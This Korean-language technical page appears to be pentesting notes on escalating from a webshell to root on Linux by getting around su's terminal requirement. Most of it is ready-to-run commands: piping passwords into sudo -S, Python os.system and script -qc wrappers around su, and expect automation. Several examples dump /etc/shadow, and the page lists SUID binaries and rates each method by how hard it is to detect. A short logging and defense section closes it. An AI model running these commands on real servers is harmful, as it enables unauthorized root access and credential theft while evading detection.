WebShell Privilege Escalation¶
웹쉘 환경에서 root 권한 획득을 위한 비대화형 쉘 우회 기법
개요¶
웹쉘(WebShell)을 통해 시스템에 접근한 후, 추가적인 권한 상승이 필요한 경우가 있다.
일반적으로 Linux에서 su 명령어를 통해 root 계정으로 전환하지만, 웹쉘 환경에서는 이 방법이 동작하지 않는다.
웹쉘에서 su 명령어를 사용할 수 없는 이유¶
웹쉘은 비대화형(Non-Interactive) 쉘 환경에서 실행된다.
| 구분 | 대화형 쉘 (Interactive) | 비대화형 쉘 (Non-Interactive) |
|---|---|---|
| TTY 할당 | O | X |
| 표준 입력 | 키보드 (사용자 입력 대기) | 파이프/리다이렉션 |
| 프롬프트 | 표시됨 | 표시 안됨 |
| 예시 | SSH 접속, 터미널 | 웹쉘, cron job, 스크립트 |
su 명령어는 보안상 TTY(Teletypewriter)가 할당된 환경에서만 비밀번호 입력을 받도록 설계되어 있다. 웹쉘은 HTTP 요청을 통해 명령을 실행하므로 TTY가 없고, 따라서 su의 비밀번호 프롬프트에 응답할 수 없다.
# 웹쉘에서 실행 시
$ su root
su: must be run from a terminal
$ tty
not a tty
공격 시나리오¶
[파일 업로드 취약점] → [웹쉘 업로드] → [웹쉘 실행 (www-data)] → [권한 상승 시도] → [root 획득]
이 문서에서는 비대화형 환경에서 TTY 제한을 우회하여 root 권한을 획득하는 방법을 다룬다.
전제 조건¶
모든 기법에 공통적으로 필요한 조건:
- 대상 계정의 비밀번호를 알고 있어야 함 (root 또는 sudo 가능 계정)
- 웹쉘이 정상적으로 명령을 실행할 수 있는 상태
권한 상승 기법¶
1. sudo를 이용한 권한 상승¶
원리: sudo는 -S 옵션으로 표준 입력(stdin)에서 비밀번호를 받을 수 있다. 이 옵션을 사용하면 TTY 없이도 인증이 가능하다.
필요 조건:
- 현재 사용자가 sudoers에 등록되어 있어야 함
- sudo 권한이 있는 계정의 비밀번호
명령어:
# 기본 형태
echo '{비밀번호}' | sudo -S {명령어}
# 실행 예시
echo 'root123' | sudo -S whoami
echo 'root123' | sudo -S id
echo 'root123' | sudo -S cat /etc/shadow
# 쉘 획득
echo 'root123' | sudo -S /bin/bash -c 'whoami && id'
sudo 권한 확인:
# 현재 사용자의 sudo 권한 확인
sudo -l
# 권한이 있는 경우 출력 예시
User www-data may run the following commands on server:
(ALL) NOPASSWD: ALL
# 권한이 없는 경우
[sudo] password for www-data:
로컬 테스트 환경 구성:
# www-data에 sudo 권한 부여
echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/www-data
chmod 440 /etc/sudoers.d/www-data
# 권한 확인
sudo -u www-data sudo -l
2. Python PTY를 이용한 권한 상승¶
원리: Python의 os.system() 또는 subprocess를 통해 파이프로 비밀번호를 전달하면, 일부 시스템에서 su의 TTY 검증을 우회할 수 있다.
필요 조건: - Python 2 또는 Python 3 설치 - Python 실행 권한 - 대상 계정 비밀번호
명령어:
# 기본 형태
python3 -c "import os; os.system('echo {비밀번호} | su -c \"{명령어}\" {계정}')"
# 실행 예시
python3 -c "import os; os.system('echo root123 | su -c whoami root')"
python3 -c "import os; os.system('echo root123 | su -c id root')"
python3 -c "import os; os.system('echo root123 | su -c \"cat /etc/shadow\" root')"
# Python 2 환경
python -c "import os; os.system('echo root123 | su -c whoami root')"
PTY를 이용한 완전한 대화형 쉘 에뮬레이션:
# PTY 스폰 (리버스 쉘 환경에서 유용)
python3 -c 'import pty; pty.spawn("/bin/bash")'
참고:
pty.spawn()은 가상 터미널을 생성하여 대화형 쉘처럼 동작하게 한다. 리버스 쉘 연결 후 완전한 TTY가 필요할 때 사용한다.
3. script 명령어를 이용한 권한 상승¶
원리: script 명령어는 터미널 세션을 기록하는 도구인데, 실행 시 PTY를 할당한다. 이 특성을 이용하면 su가 요구하는 TTY 조건을 충족시킬 수 있다.
필요 조건:
- script 명령어 존재 (/usr/bin/script)
- su 명령어 사용 가능
- 대상 계정 비밀번호
- /dev/null 또는 쓰기 가능한 경로
명령어:
# 기본 형태
script -qc "echo {비밀번호} | su -c '{명령어}' {계정}" /dev/null
# 실행 예시
script -qc "echo root123 | su -c 'whoami' root" /dev/null
script -qc "echo root123 | su -c 'id' root" /dev/null
script -qc "echo root123 | su -c 'cat /etc/shadow' root" /dev/null
# 타이밍 이슈가 있는 경우 (비밀번호 전송 지연)
(sleep 0.1; echo root123) | script -qc "su -c 'ls -al' root" /dev/null
옵션 설명:
| 옵션 | 설명 |
|------|------|
| -q | Quiet 모드, 시작/종료 메시지 숨김 |
| -c | 지정한 명령어 실행 후 종료 |
| /dev/null | 로그 파일 출력 위치 (버림) |
4. expect를 이용한 권한 상승¶
원리: expect는 대화형 프로그램을 자동화하는 도구로, 특정 문자열(프롬프트)을 기다렸다가 자동으로 응답을 전송한다.
필요 조건:
- expect 설치 (/usr/bin/expect)
- 대상 계정 비밀번호
명령어:
# One-liner 형태
expect -c 'spawn su - root; expect "Password:"; send "root123\r"; interact'
# 명령어 실행 후 종료
expect -c 'spawn su -c "id" root; expect "Password:"; send "root123\r"; expect eof'
# 웹쉘에서 사용하기 적합한 형태
expect -c 'spawn su -c "cat /etc/shadow" root; expect "Password:"; send "root123\r"; expect eof'
기법 비교¶
| 기법 | 필요 조건 | 성공률 | 탐지 난이도 |
|---|---|---|---|
| sudo -S | sudoers 등록 | 높음 | 낮음 (sudo 로그) |
| Python os.system | Python 설치 | 중간 | 중간 |
| script -qc | script 명령어 | 높음 | 높음 |
| expect | expect 설치 | 높음 | 중간 |
권한 확인 명령어¶
웹쉘 접근 후 현재 상태를 파악하기 위한 명령어:
# 현재 사용자 확인
whoami
id
# TTY 할당 여부 확인
tty
# sudo 권한 확인
sudo -l
# SUID 바이너리 검색 (추가 권한 상승 벡터)
find / -perm -4000 -type f 2>/dev/null
# 사용 가능한 도구 확인
which python python3 script expect perl ruby
탐지 및 로그¶
각 기법 사용 시 남는 로그:
sudo 사용 시 (/var/log/auth.log):
www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash
su 사용 시 (/var/log/auth.log):
su: pam_unix(su:session): session opened for user root by (uid=33)
script 사용 시:
- 별도 로그 없음 (탐지 어려움)
- 단, /dev/null 대신 다른 경로 지정 시 파일 생성됨
방어 방안¶
- 웹쉘 업로드 방지: 파일 업로드 검증 강화, 확장자 화이트리스트
- 권한 최소화: 웹 서버 계정(www-data)의 sudo 권한 제거
- 명령어 제한:
script,expect등 불필요한 바이너리 제거 - 모니터링: auth.log 실시간 감시, 비정상 su/sudo 시도 탐지
- SELinux/AppArmor: 웹 서버 프로세스의 시스템 호출 제한